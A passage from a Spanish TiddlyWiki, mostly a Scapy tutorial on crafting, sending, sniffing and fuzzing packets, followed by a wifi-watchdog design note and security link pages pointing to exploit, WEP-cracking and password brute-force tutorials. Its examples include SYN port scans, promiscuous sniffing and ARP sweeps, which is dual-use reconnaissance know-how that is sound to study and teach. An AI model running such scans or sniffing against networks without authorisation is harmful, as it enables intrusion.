  src= 1.40.16.90
  dst= Net('google.com')
  \options\
###[ TCP ]###
     sport= 12345
     dport= http
     seq= 0
     ack= 0
     dataofs= None
     reserved= 0
     flags= S
     window= 8192
     chksum= None
     urgptr= 0
     options= {}
###[ Raw ]###
        load= 'GET / HTTP/1.0\r\n\r\n'
</code>
Se puede ver que aparece absolutamente toda la información posible sobre el paquete. Cada protocolo anidado tiene tabulación a la derecha. Si estudiamos más detenidamente el ejemplo anterior descubriremos ligeramente decepcionados que algunos campos como {{{checksum}}} o {{{len}}} aparecen vacíos. Eso se porque la información se ha obtenido del paquete ''antes'' de compilarlo y prepararlo para su envío. Para ver los datos del paquete listo para su envío hay que utilizar el método {{{show2()}}}:
<code python>
>>> p5.show2()
###[ IP ]###
  version= 4L
  ihl= 5L
  tos= 0x0
  len= 58
  id= 1
  flags=
  frag= 0L
  ttl= 64
  proto= tcp
  chksum= 0xb27d
  src= 1.40.16.90
  dst= 209.85.229.104
  \options\
###[ TCP ]###
     sport= 12345
     dport= http
     seq= 0
     ack= 0
     dataofs= 5L
     reserved= 0L
     flags= S
     window= 8192
     chksum= 0xb867
     urgptr= 0
     options= []
###[ Raw ]###
        load= 'GET / HTTP/1.0\r\n\r\n'
</code>
Se puede apreciar que las principales diferencias con el anterior son que ahora ciertos campos si que vienen rellenos.

Al utilizar {{{summary()}}} aplicado sobre un grupo de paquetes, resulta muy útil suministrar una función para que muestre información personalizada. Por ejemplo, si sólo se quiere mostrar el puerto y los flags TCP (muy útil para mostrar el resultado de un escaneo de puertos):
<code python>
>>> ans,unans = sr(IP(dst="1.40.16.80")/TCP(sport=RandShort(),dport=[440,441,442,443],flags="S"))
>>> ans.summary()
IP / TCP 1.40.16.90:11093 > 1.40.16.80:440 S ==> IP / TCP 1.40.16.80:440 > 1.40.16.90:11093 RA / Padding
IP / TCP 1.40.16.90:34513 > 1.40.16.80:441 S ==> IP / TCP 1.40.16.80:441 > 1.40.16.90:34513 RA / Padding
IP / TCP 1.40.16.90:61309 > 1.40.16.80:442 S ==> IP / TCP 1.40.16.80:442 > 1.40.16.90:61309 RA / Padding
IP / TCP 1.40.16.90:23972 > 1.40.16.80:https S ==> IP / TCP 1.40.16.80:https > 1.40.16.90:23972 SA / Padding
>>> ans.summary(lambda(s,r): r.sprintf("%TCP.sport% \t %TCP.flags%"))
440      RA
441      RA
442      RA
https    SA
</code>
Como se puede observar, la segunda llamada a {{{summary()}}} produce un resultado mucho más específico y útil.

Además, se pueden crear fácilmente tablas con los resultados, lo que mostrará la información de manera rápida y muy visual, mediante la función {{{mktable}}}. Esta función recibe 3 parámetros: el primero es el primero elemento de cada fila, la segunda el elemento de cada columna, y la última el valor de cada casilla. Veamos un ejemplo de traceroute a 4 direcciones a la vez:
<code python>
>>> ans,unans=sr(IP(dst="www.test.fr/30", ttl=(1,6))/TCP())
Begin emission:
Finished to send 24 packets.
......*.*.*.*.*.*.*.*.......*..*..*..*......................
Received 60 packets, got 12 answers, remaining 12 packets
>>> ans.make_table( lambda (s,r): (s.dst, s.ttl, r.src) )
  64.77.49.164   64.77.49.165   64.77.49.166   64.77.49.167
1 1.40.1.251     1.40.1.251     1.40.1.251     1.40.1.251
2 192.168.250.57 192.168.250.61 192.168.250.57 192.168.250.57
3 64.77.49.164   64.77.49.165   64.77.49.166   64.77.49.167
</code>

!!! 3.4.3. Información gráfica
Scapy no sólo puede mostrar información en forma de texto. Además permite generar gráficos que hagan más sencillo comprender los datos recibidos. Por ejemplo, se puede generar un fichero PDF con la disección completa de un paquete mediante el método {{{pdfdump()}}}. Por ejemplo, para mostrar información sobre el paquete {{{p5}}}:
<code python>
>>> p5.pdfdump(layer_shift=1)
</code>

Con el método {{{conversations()}}} aplicado a un grupo de paquetes, generará un PNG que muestra de forma gráfica los paquetes enviados y recibidos entre los hosts.

También se puede utilizar GnuPlot para generar gráficas de puntos con el resultado de una función aplicada a cada paquete de un conjunto de paquetes. 
<code python>
>>> a,b=sr(IP(dst="www.target.com")/TCP(sport=[RandShort()]*1000))
>>> a.plot(lambda x:x[1].id)
</code>

!! 3.5. Importación y exportación de paquetes
!!! 3.5.1. Array de bytes
La forma más compleja pero quizás más versátil es obtener una cadena de texto con los bytes del paquete:
<code python>
>>> str(p2)
'E\x00\x00\x14\x00\x01\x00\x00 \x00\xa9]\x01(\x10Z\xc0\x00 \n'
</code>
Esta cadena de texto se puede utilizar para construir un paquete nuevo:
<code python>
>>> p2b = IP('E\x00\x00\x14\x00\x01\x00\x00 \x00\xa9]\x01(\x10Z\xc0\x00 \n')
>>> p2b
<IP  version=4L ihl=5L tos=0x0 len=20 id=1 flags= frag=0L ttl=32 proto=ip chksum=0xa95d src=1.40.16.90 dst=192.0.32.10 |>
</code>

!!! 3.5.2. Dump hexadecimal
Similar a lo anterior, se puede mostrar el array de bytes de una forma más amigable:
<code python>
>>> hexdump(p2)
0000   45 00 00 14 00 01 00 00  20 00 A9 5D 01 28 10 5A   E....... ..].(.Z
0010   C0 00 20 0A                                        .. .
</code>

Nótese que salen también los parámetros por defecto, pues al crear el paquete de esta manera Scapy entiende que se ha cambiado el valor de todos los atributos, pero se pueden esconder fácilmente si no queremos verlos con el método {{{hide_defaults()}}}
<code python>
>>> p2b
<IP  version=4L ihl=5L tos=0x0 len=20 id=1 flags= frag=0L ttl=32 proto=ip chksum=0xa95d src=1.40.16.90 dst=192.0.32.10 |>
>>> p2b.hide_defaults()
>>> p2b
<IP  ihl=5L len=20 ttl=32 chksum=0xa95d src=1.40.16.90 dst=192.0.32.10 |>
</code>

!!! 3.5.3. Cadena en base64
En vez de usar arrays de bytes formateados como una cadena de texto, se pueden exportar los paquetes a una cadena codificada como base64, mucho más compacta para almacenar en ficheros de texto, usando la función {{{export_object()}}}. Hay que tener cuidado con estas funciones, porque me han fallado en windowsXP con python 2.6.3.

!!! 3.5.4. Ficheros PCAP
Si tenemos una captura en formato PCAP (por ejemplo, de [[Whireshark]] o [[aircrack-ng]], se puede cargar en scapy mediante la función {{{rdpcap}}};
<code python>
>>> a = rdpcap("/ruta/al/fichero.cap")
</code>
La variable {{{a}}} contendrá todos los paquetes del fichero interpretados y listos para trabajar sobre ellos con Scapy. En cuenta de esta función se puede utilizar la herramienta {{{sniff()}}} para extraer los paquetes del fichero. El siguiente ejemplo sería equivalente al anterior:
<code python>
>>> a = sniff(offline="/ruta/al/fichero.cap")
</code>

También se pueden exportar los paquetes capturados o generados con Scapy a ficheros PCAP, para poder ser utilizados con otras herramientas, gracias a la función {{{wrpcap()}}}. El siguiente ejemplo escribirá el cojunto de paquetes {{{pkts}}} al fichero {{{tmp.cap}}}:
<code python>
>>> wrpcap("temp.cap", pkts)
</code>

Por último, con el método {{{command()}}} se genera una cadena de texto con la orden necesaria para generar el paquete con Scapy. Veámoslo con un ejemplo:
<code python>
>>> p5.command()
"IP(dst=Net('google.com'))/TCP(dport=80, sport=12345)/Raw(load='GET / HTTP/1.0\\r\\n\\r\\n')"
</code>
¡Viva la reflexión!

!! 3.6 Aleatorización de valores (fuzzing)
La función {{{fuzzing()}}} cambia los valores por defecto de un paquete por valores aleatorios y adecuados al contexto.

Por ejemplo, vamos a crear un paquete TCP/IP sencillo, con los valores del TCP aleatorios:
<code python>
>>> p = IP()/fuzz(TCP())
>>> p
<IP  frag=0 proto=tcp |<TCP  |>>
</code>
Parece un paquete TCP/IP normal, pero al mirar sus campos descubrimos los siguiente:
<code python>
>>> ls(p)
version    : BitField             = 4               (4)
ihl        : BitField             = None            (None)
tos        : XByteField           = 0               (0)
len        : ShortField           = None            (None)
id         : ShortField           = 1               (1)
flags      : FlagsField           = 0               (0)
frag       : BitField             = 0               (0)
ttl        : ByteField            = 64              (64)
proto      : ByteEnumField        = 6               (0)
chksum     : XShortField          = None            (None)
src        : Emph                 = '127.0.0.1'     (None)
dst        : Emph                 = '127.0.0.1'     ('127.0.0.1')
options    : PacketListField      = []              ([])
--
sport      : ShortEnumField       = <RandShort>     (20)
dport      : ShortEnumField       = <RandShort>     (80)
seq        : IntField             = <RandInt>       (0)
ack        : IntField             = <RandInt>       (0)
dataofs    : BitField             = None            (None)
reserved   : BitField             = <RandNum>       (0)
flags      : FlagsField           = <RandNum>       (2)
window     : ShortField           = <RandShort>     (8192)
chksum     : XShortField          = None            (None)
urgptr     : ShortField           = <RandShort>     (0)
options    : TCPOptionsField      = []              ({})
</code>
¡Los campos del paquete TCP tiene como valor {{{RandXXX}}}. Esto significa que los valores aleatorios se generan en el momento de enviar el paquete, por lo que si enviamos este paquete 2 veces, en las 2 tendrá valores distintos.

Estos valores {{{RandXXX}}} son en realidad funciones que podemos utilizar para aleatorizar parámetros concretos. Por ejemplo, si sólo queremos que sea aleatorio el puerto de origen:
<code python>
>>> p = IP()/TCP(dport=RandShort())
>>> p
<IP  frag=0 proto=tcp |<TCP  dport=<RandShort> |>>
</code>

Un ejemplo más avanzado, para generar un paquete NTP versión 4 con el resto de datos UDP y NTP aleatorios:
<code python>
>>> p = IP(dst="127.0.0.1")/fuzz(UDP()/NTP(version=4))
>>> p.summary()
'IP / UDP / NTP v4, <RandNum>'
</code>

Si miramos las propiedades del paquete generado (antes de enviar) se mostrarán los campos aleatorios generados:
<code python>
>>> p.show2()
###[ IP ]###
  version= 4L
  ihl= 5L
  tos= 0x0
  len= 76
  id= 1
  flags=
  frag= 0L
  ttl= 64
  proto= udp
  chksum= 0x7c9e
  src= 127.0.0.1
  dst= 127.0.0.1
  \options\
###[ UDP ]###
     sport= ntp
     dport= ntp
     len= 56
     chksum= 0x59cb
###[ NTP ]###
        leap= nowarning
        version= 4L
        mode= client
        stratum= 14L
        poll= 232L
        precision= 78L
        delay= 42706.4899292
        dispersion= 34605.8350677
        id= 119.40.79.231
        ref= 1718626783.28
        orig= Mon, 01 Jan 2010 12:00:00 +0000
        recv= 658123122.9
        sent= Mon, 01 Jan 2010 12:00:00 +0000
</code>

! 4. Envío y recepción de paquetes
!! 4.1. Envío de paquetes
Ahora que ya sabemos como generar paquetes sólo falta enviarlos para que sirvan de algo. Para enviar un paquete desde la capa 3 (un paquete IP por ejemplo) se utiliza la función {{{send()}}}. Por ejemplo, para enviar un paquete ICMP simple:
<code python>
>>> send(IP(dst="msn.com")/ICMP())
.
Sent 1 packets.
</code>

Para enviar paquetes desde la capa 2 (ethernet, por ejemplo) se utiliza la función {{{sendp()}}}. Por ejemplo, para enviar la versión Ethernet del ejemplo anterior:
<code python>
>>> sendp(Ether()/IP(dst="127.0.0.1",ttl=(1,4))/ICMP(), iface="eth1")
....
</code>

!! 4.2. Enviar un paquete y recibir la respuesta
Enviar paquetes está muy bien, pero muchas veces nos interesa obtener una respuesta de las máquinas a las que se han enviado paquetes. Para enviar un paquete y esperar hasta recibir su respuesta se utilizan las funciones {{{sr1()}}} para paquetes de capa 3 y {{{srp1()}}} para paquetes de capa 2. Lo veremos mejor con un ejemplo:
<code python>
>>> sr1(IP(dst="msn.com",ttl=1)/ICMP())
Begin emission:
Finished to send 1 packets.
.*
Received 2 packets, got 1 answers, remaining 0 packets
<IP  version=4L ihl=5L tos=0xc0 len=56 id=36859 flags= frag=0L ttl=255 proto=icmp chksum=0x1665 src=1.40.1.251 dst=1.40.16.90 options=[] |<ICMP  type=
time-exceeded code=ttl-zero-during-transit chksum=0xf4ff unused=0 |<IPerror  version=4L ihl=5L tos=0x0 len=28 id=1 flags= frag=0L ttl=1 proto=icmp chk
sum=0x985c src=1.40.16.90 dst=65.55.206.203 options=[] |<ICMPerror  type=echo-request code=0 chksum=0xf7ff id=0x0 seq=0x0 |>>>>
</code>
Se puede observar como espera a que llegue el paquete de respuesta y descarta los paquetes que no tienen nada que ver (la recepción se hace esnifando la red). El resultado es un paquete con la respuesta.

!! 4.3. Enviar y recibir múltiples paquetes
Se pueden enviar varios paquetes y esperar a que lleguen todas las respuestas, que en algunos casos pueden ser infinitas. La función {{{sr()}}} es la encargada del envío y recepción de paquetes ({{{srp()}}} para capa 2). El resultado de la función será un array con el listado de los paquetes enviados y el listado de los paquetes que han recibido respuesta en la posición 0 y los paquetes que se han perdido en la posición 1. Veamos un ejemplo:
<code python>
>>> sr(IP(dst="msn.com",ttl=(1,2))/ICMP())
Begin emission:
Finished to send 2 packets.
....................................*.*
Received 39 packets, got 2 answers, remaining 0 packets
(<Results: TCP:0 UDP:0 ICMP:2 Other:0>, <Unanswered: TCP:0 UDP:0 ICMP:0 Other:0>)
>>> _[0].summary()
IP / ICMP 1.40.16.90 > 65.55.206.203 echo-request 0 ==> IP / ICMP 1.40.1.251 > 1.40.16.90 time-exceeded ttl-zero-during-transit / IPerror / ICMPerror
IP / ICMP 1.40.16.90 > 65.55.206.203 echo-request 0 ==> IP / ICMP 192.168.250.61 > 1.40.16.90 time-exceeded ttl-zero-during-transit / IPerror / ICMPerror
</code>

!! 4.4. Envío y recepción en bucle
Scapy permite utilizar un bucle de envío/recepción para emular el funcionamiento de programas como hping. Para ello dispone de la función {{{srloop()}}}. Se comporta de forma parecida a {{{sr()}}}, pero envía una y otra vez el mismo paquete cada vez que le llega una respuesta. Por ejemplo (cogido de la documentación de scapy):
<code python>
>>> srloop(IP(dst="www.target.com/30")/TCP())
RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
        IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
        IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
        IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
        IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
</code>

! 5. Captura de paquetes
!! 5.1. Captura Ethernet en modo promiscuo
Capturar paquetes es tan sencillo como enviarlos y recibirlos, tan sólo hay que utilizar la función {{{sniff()}}}, que capturará todos los paquetes y los devolverá en forma de array para analizarlos o modificarlos posteriomente. Además, admite filtros de tipo tcpdump para afinar la captura. Por ejemplo, para capturar 2 paquetes ICMP destinados al host "msn.com", en una consola ejecutamos {{{ping msn.com}}}, y en Scapy hacemos lo siguiente:
<code python>
>>> ans = sniff(filter="icmp and host msn.com", count=2)
>>> ans
<Sniffed: TCP:0 UDP:0 ICMP:2 Other:0>
>>> ans.nsummary()
0000 Ether / IP / ICMP 1.40.16.90 > 65.55.206.203 echo-request 0 / Raw
0001 Ether / IP / ICMP 1.40.16.90 > 65.55.206.203 echo-request 0 / Raw
</code>

Otro parámetro muy útil de esta función es {{{prn}}}, que permite ejecutar una función sobre cada paquete recibido. Por ejemplo, si queremos mostrar por pantalla un resumen de los paquetes que van llegando por la interfaz {{{eth0}}}:
<code python>
>>> sniff(iface="eth0", prn=lambda x: x.summary())
Ether / ARP who has 1.40.4.180 says 1.40.4.153 / Padding
Ether / ARP who has 1.40.10.154 says 1.40.1.191 / Padding
802.3 00:1d:a2:17:43:16 > 01:80:c2:00:00:00 / LLC / STP / Padding
[CTRL+C]
<Sniffed: TCP:0 UDP:0 ICMP:0 Other:3>
</code>

!! 5.2. Captura de paquetes en modo monitor

! 6. Funciones avanzadas
Hasta aquí se han visto las funciones básicas de Scapy, las más utilizadas. Como se ha podido ver son extremadamente potentes y versátiles y permiten hacer un sinfín de tareas para las que habría que utilizar varias herramientas. Pero además, Scapy dispone de ciertas herramientas para automatizar las tareas más habituales y tediosas, además de algunas funcionalidades que no podemos encontrar en prácticamente ninguna otra herramienta.

!! 6.1. Tabla de rutas
Scapy mantiene su propia tabla de rutas independiente de la del sistema. Al comienzo de la aplicación se copia las tablas de rutas del sistema en sus tablas particulares, pero se pueden modificar al antojo en cualquier momento, y utilizarlas para enviar y recibir paquetes. La tabla de rutas de Scapy se almacena en el objeto {{{conf.route}}}:
<code python>
>>> conf.route
Network         Netmask         Gateway         Iface           Output IP
0.0.0.0         0.0.0.0         1.40.1.251      eth0            1.40.16.90
1.40.0.0        255.255.0.0     1.40.16.90      eth0            1.40.16.90
1.40.16.90      255.255.255.255 127.0.0.1       lo0             127.0.0.1
1.255.255.255   255.255.255.255 1.40.16.90      eth0            1.40.16.90
127.0.0.0       255.0.0.0       127.0.0.1       lo0             127.0.0.1
224.0.0.0       240.0.0.0       1.40.16.90      eth0            1.40.16.90
255.255.255.255 255.255.255.255 1.40.16.90      eth0            1.40.16.90
</code>

La tabla se puede modificar con diversos métodos de este objeto. Por ejemplo, para añadir una ruta y quitar otra:
<code python>
>>> conf.route
Network         Netmask         Gateway         Iface           Output IP
0.0.0.0         0.0.0.0         1.40.1.251      eth0            1.40.16.90
1.40.0.0        255.255.0.0     1.40.16.90      eth0            1.40.16.90
1.255.255.255   255.255.255.255 1.40.16.90      eth0            1.40.16.90
127.0.0.0       255.0.0.0       127.0.0.1       lo0             127.0.0.1
224.0.0.0       240.0.0.0       1.40.16.90      eth0            1.40.16.90
255.255.255.255 255.255.255.255 1.40.16.90      eth0            1.40.16.90
0.0.0.0         0.0.0.0         192.168.8.254   eth0            1.40.16.90
</code>

!! 6.2. Traceroute
Ya hemos visto anteriormente como emular la clásica herramienta {{{traceroute}}}, enviando paquetes ICMP con varios TTL y mostrándolo como una tabla. Pues bien, Scapy tiene una función que hace todo esto de forma automática y mucho más sencillo que tener que hacerlo a mano:
<code python>
>>> traceroute(["www.yahoo.com","www.altavista.com","www.wisenut.com","www.copernic.com"],maxttl=20)
Begin emission:
Finished to send 80 packets.
****************************************************************************
Received 76 packets, got 76 answers, remaining 4 packets
   174.142.124.44:tcp80 211.39.140.85:tcp80 72.30.186.25:tcp80 87.248.112.181:tcp80
1  1.40.1.251      11   1.40.1.251      11  1.40.1.251      11 1.40.1.251      11
2  192.168.250.61  11   192.168.250.57  11  192.168.250.61  11 192.168.250.61  11
4  174.142.124.44  SA   211.39.140.85   SA  72.30.186.25    SA 87.248.112.181  SA
5  174.142.124.44  SA   211.39.140.85   SA  72.30.186.25    SA 87.248.112.181  SA
6  174.142.124.44  SA   211.39.140.85   SA  72.30.186.25    SA 87.248.112.181  SA
7  174.142.124.44  SA   211.39.140.85   SA  72.30.186.25    SA 87.248.112.181  SA
8  174.142.124.44  SA   211.39.140.85   SA  72.30.186.25    SA 87.248.112.181  SA
9  174.142.124.44  SA   211.39.140.85   SA  72.30.186.25    SA 87.248.112.181  SA
10 174.142.124.44  SA   211.39.140.85   SA  72.30.186.25    SA 87.248.112.181  SA
11 174.142.124.44  SA   211.39.140.85   SA  72.30.186.25    SA 87.248.112.181  SA
12 174.142.124.44  SA   211.39.140.85   SA  72.30.186.25    SA 87.248.112.181  SA
13 174.142.124.44  SA   211.39.140.85   SA  72.30.186.25    SA 87.248.112.181  SA
14 174.142.124.44  SA   211.39.140.85   SA  72.30.186.25    SA 87.248.112.181  SA
15 174.142.124.44  SA   211.39.140.85   SA  72.30.186.25    SA 87.248.112.181  SA
16 174.142.124.44  SA   211.39.140.85   SA  72.30.186.25    SA 87.248.112.181  SA
17 174.142.124.44  SA   211.39.140.85   SA  72.30.186.25    SA 87.248.112.181  SA
18 174.142.124.44  SA   211.39.140.85   SA  72.30.186.25    SA 87.248.112.181  SA
19 174.142.124.44  SA   211.39.140.85   SA  72.30.186.25    SA 87.248.112.181  SA
20 174.142.124.44  SA   211.39.140.85   SA  72.30.186.25    SA 87.248.112.181  SA
(<Traceroute: TCP:68 UDP:0 ICMP:8 Other:0>, <Unanswered: TCP:4 UDP:0 ICMP:0 Other:0>)
</code>
Además de mostrar por pantalla la información de forma muy intuitiva y potente, también devuelve los paquetes enviados y recibidos, y permite además mostrarlos de forma gráfica mediante el método {{{graph()}}}. Veamos un ejemplo:
<code python>
>>> ans, unans = _
>>> ans.graph()
</code>
Incluso permite una representación 3D usando VPython:
<code python>
>>> ans.trace3D()
</code>

!! 6.3. ARP ping
Scapy incorpora un comando para lanzar una consulta ARP sobre la red y obtener la asociación enter MAC e IP de los ordenadores locales, y todo con una sencilla función llamada {{{arping()}}}. Esta función acepta como parámetro la red sobre la que se quiere lanzar el escaneo ARP. Veamos un ejemplo:
<code python>
>>> arping("1.40.16.*")
>>> arping("1.40.16.*")
Begin emission:
Finished to send 256 packets.
*************************************************************
Received 61 packets, got 61 answers, remaining 195 packets
  00:11:85:7b:dd:d8 1.40.16.0
  00:17:08:46:e1:3c 1.40.16.1
  00:17:a4:15:73:76 1.40.16.2
  00:1b:fc:37:e6:a1 1.40.16.3
[cortado, que es muy largo]
(<ARPing: TCP:0 UDP:0 ICMP:0 Other:61>, <Unanswered: TCP:0 UDP:0 ICMP:0 Other:195>)
</code>

!A. Integración con IPython
[[IPython]] es una versión mejorada del shell interactivo de [[Python]], que permite ejecutar comandos de formas sencilla, introspección mejorada sobre los objetos, editar código de varias lineas, autocompletar código, y un largo etcétera.

Se puede configurar scapy para que utilice IPython en vez de la shell estándar de [[Python]] de forma muy sencilla:
<code bash>
echo 'conf.interactive_shell="ipython"' >> ~/.scapy_startup.py
</code>
Lo que añadirá una nueva línea al fichero de configuración de arranque de scapy.

Este es un resumen de las mejoras que obtendrá automáticamente scapy por usar IPython:

|>| !Interacción mejorada |h
|Búsquedas por prefijo |{{{SomethingYouTypedBefo<UP>}}} |
|Ayuda para todos los objetos |{{{IP?}}} |
|Ver el código fuente |{{{ICMP??}}} |
|Buscar objetos |{{{*Theme*?}}} |
|Editar varias líneas |{{{edit}}} |
|Editar sin ejecutar|{{{edit -x myexistingfile}}} |
|Pegar: |{{{cpaste myvar}}} |
|Repetir el último comando |{{{r}}} |
|>| !Integración con la shell |h
|Ejecutar comandos de consola |{{{!df -h}}} |
|Historial de cambio de directorio |{{{cd -<TAB>}}} |
|Guardar la salida de la ejecución de un comando|{{{mylist = !netstat -rn}}} |
|Listas mejoradas |{{{mylist.grep("0.0.0.0") ; mylist.fields()}}} |
|Listas mejoradas (2) |{{{f=!ls; f.p[0].mtime(); f.p[0].abspath()}}} |
|Alias a comandos |{{{alias}}} |
|>| !Misc |h
|Logging |{{{logstart ~/scapy-input.log}}} |
|Ejecutar en espacio de nombres local |{{{run -i myscript}}} |
|Debugging |{{{run -d mycode}}} |
|Paginador interno (similar a {{{more}}} |{{{page conf}}} |
|>| ![[IPipe|http://projects.scipy.org/ipython/ipython/wiki/UsingIPipe]] |h
|Activar IPipe |{{{from ipipe import *}}} |
|Explorador de ficheros |{{{ils     (Press "?" for help)}}} |
|Historial |{{{ihist   (Press "i" to select)}}} |

<<tiddler [[RecetasScapy]]>>

<<tiddler [[AutomataScapy]]>>

! Referencias
* http://www.secdev.org/projects/scapy/
* http://www.secdev.org/projects/scapy/demo.html
* http://www.secdev.org/projects/scapy/doc/
* http://www.secdev.org/projects/scapy/build_your_own_tools.html
* http://article.gmane.org/gmane.comp.security.scapy.general/3730
* http://seguridadyredes.nireblog.com/cat/scapy
! Introducción
Estoy usando una dispositivo [[AK802]] con ubuntu como servidor casero. La conectividad se realiza vía wifi. De vez en cuando se corta la conexión. La gestión de la conexión se realiza usando network manager

La idea es realizar un ping periódico a un host conocido. Cuando se detecte que no hay respuesta, se debería reiniciar la conexión wifi. Para ello el script debería ser capa de hacer ping y mandar una orden al sistema "network manager" para reiniciar la conexión.

! Requisitos básicos
Los siguientes requisitos deberían cumplirse para considerarse que se cumplen los objetivos del proyecto
* 1. Ejecución periódica
* 2. Realizar una prueba de ping
* 3. Comprobar un puerto de un host, incluidos puertos locales (para poder comprobar si hay servicios que funcionan)
* 4. Log de actividad, permitir registrar tanto fallos como chequeos correctos
* 5. Ejecución de órdenes según el resultado de los test
* 6. Alarmas (enviar un email, por ejemplo)
* 7. Permitir a otras aplicaciones publicar las alarmas

! Requisitos adicionales
Requisitos no obligatorios pero si deseables
* 1. Comprobar parámetros del sistema (tamaño de disco, actividad de CPU, RAM libre, memoria swap, etc)
* 2. Parte PHP para mostrar una web con las alarmas y el estado.
* 3. Cliente tcp: que abra un puerto para permitir a un servidor central recoger datos de actividad, alarmas, etc.

! Componentes
El script debería dividirse en los siguientes componentes:
* Ejecución periódica
* Log de actividad
* Realización de ping
* Configuración de red usando network manager

!! Ejecución periódica
Una simple entrada en cron debería ser suficiente para ejecutarlo cada minuto, por ejemplo

!! Log de actividad
Se puede utilizar el sistema de logging de python

!! Realización de ping
Hay varias posibilidades
* Invocación del comando ping del sistema
* Uso de scapy u otras librerías de terceros

!! Configuración de network manager
Hay varios ejemplos de uso desde python en los siguientes enlaces:
* http://cgit.freedesktop.org/NetworkManager/NetworkManager/tree/examples/python
* http://cgit.freedesktop.org/NetworkManager/NetworkManager/tree/examples/python?h=NM_0_8

! Datos adicionales
* Un monitor ya existente que puede cubrir la mayor parte de las necesidades: http://jamesoff.net/site/code/simplemonitor/
!Descripción
<part descripcion>
Descripcion de la sección
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Scrum
** Herramientas Open Source para Scrum: http://www.opensourcescrum.com/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
! Introducción

! Referecias
* http://www.sahw.com/wp/archivos/2010/02/27/auditoria-de-contrasenas-en-oracle-database-1-de-4-introduccion-y-primeros-pasos/
* http://www.sahw.com/wp/archivos/2010/02/28/auditoria-de-contrasenas-en-oracle-database-2-de-4-adivinacion-de-oracle-sid-system-id/
* http://www.sahw.com/wp/archivos/2010/03/02/auditoria-de-contrasenas-en-oracle-database-3-de-4-fuerza-bruta-sobre-claves-oracle/
* http://www.sahw.com/wp/archivos/2010/03/10/auditoria-de-contrasenas-en-oracle-database-4-de-4-ataques-de-diccionario-sobre-claves-oracle/
!Descripción
<part descripcion>
Información relacionada con la seguridad de los dispositivos aislados: virus, buffer overflows, fortaleza del cifrado, etc.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki

* ''Malware:''
** Malware FAQ: http://www.sans.org/security-resources/malwarefaq/index.php
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Información sobre dispositivos de seguridad externos al ordenador, como lectores de huellas dactilares, cámaras IP, SmartCard, llaves USB cifradas, etc.
</part>
!Enlaces
<part enlaces>
* ''SmartCard:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Tarjeta_inteligente
** Análisis de la estructura interna de un DNI-E: http://blog.48bits.com/2010/03/16/analisis-de-la-estructura-interna-del-dni-e/

* ''Cámaras de vídeo:''
** Hacking a IP Camera (ACTI ACM-4000): http://nonroot.blogspot.com/2010/08/hacking-ip-camera-acti-acm-4000.html
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
La seguridad no es sólamente medios informáticos para evitar la pérdida de datos, también hay que proteger los equipos físicamente para que, por ejemplo, no puedan robarlos.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
Información sobre seguridad informática: ataques, fundamentos, protección, herramientas, etc.

Hay que conocer bien al enemigo para saber como defenderse.
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Seguridad_inform%C3%A1tica

!! Libros
* Security Engineering: http://www.cl.cam.ac.uk/~rja14/book.html

!! Revistas y *zines
* Colección de revistas: http://www.securitybydefault.com/2010/03/revistas-de-seguridad-online.html
* Phrack magazine: http://www.phrack.com

!! Guías y checklists
* Checklist del SANS: http://www.sans.org/score/checklists.php
* Guía de seguridad "a prueba de hackers": http://www.makeuseof.com/tag/download-hackerproof-guide-pc-security/

!! Colecciones de artículos y white papers
* Artículos de NGS Software: http://www.ngssoftware.com/Media-Room/WhitePapers.aspx
* Documentación de Packet Storm: http://packetstormsecurity.org/papers/
* Documentación de IMPERVA: http://www.imperva.com/resources/whitepapers.asp
* Seguridad en UNIX: http://www.ibiblio.org/pub/linux/docs/LuCaS/Manuales-LuCAS/doc-unixsec/unixsec-html/node1.html
* Libros de OWASP: http://www.owasp.org/index.php/Category:OWASP_Books
* Material gratuito del SANS: http://www.sans.org/security-resources.php
* Presentaciones de la """No cON Name""" 2010: http://noconname.org/congreso.html#slides
* Hack.lu 2010: http://2010.hack.lu/archive/2010/

!! CTFs
* Resolución de CTF de hack.lu:  http://hacklu.fluxfingers.net/challenges.php

!! Tutoriales y cursillos
* Crear un exploit paso a paso: http://www.dragonjar.org/creando-un-exploit-paso-a-paso.xhtml
* Laboratorios de Dragonjar: http://labs.dragonjar.org/indice-de-los-laboratorios
* Tutorial aircrack: http://www.aircrack-ng.org/doku.php?id=spanish_tuto-fr.com_en_tutorial_tutorial-crack-wep-aircrack.php
* From 0x90 to 0x4c454554, a journey into exploitation: http://myne-us.blogspot.com/2010/08/from-0x90-to-0x4c454554-journey-into.html
* Hacking ético con Armitage: http://www.ethicalhacker.net/content/view/379/2/

!! Videotutoriales
* Colección de vídeos sobre seguridad (cyberhades): http://www.cyberhades.com/2010/11/23/coleccion-de-videos-sobre-seguridad
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
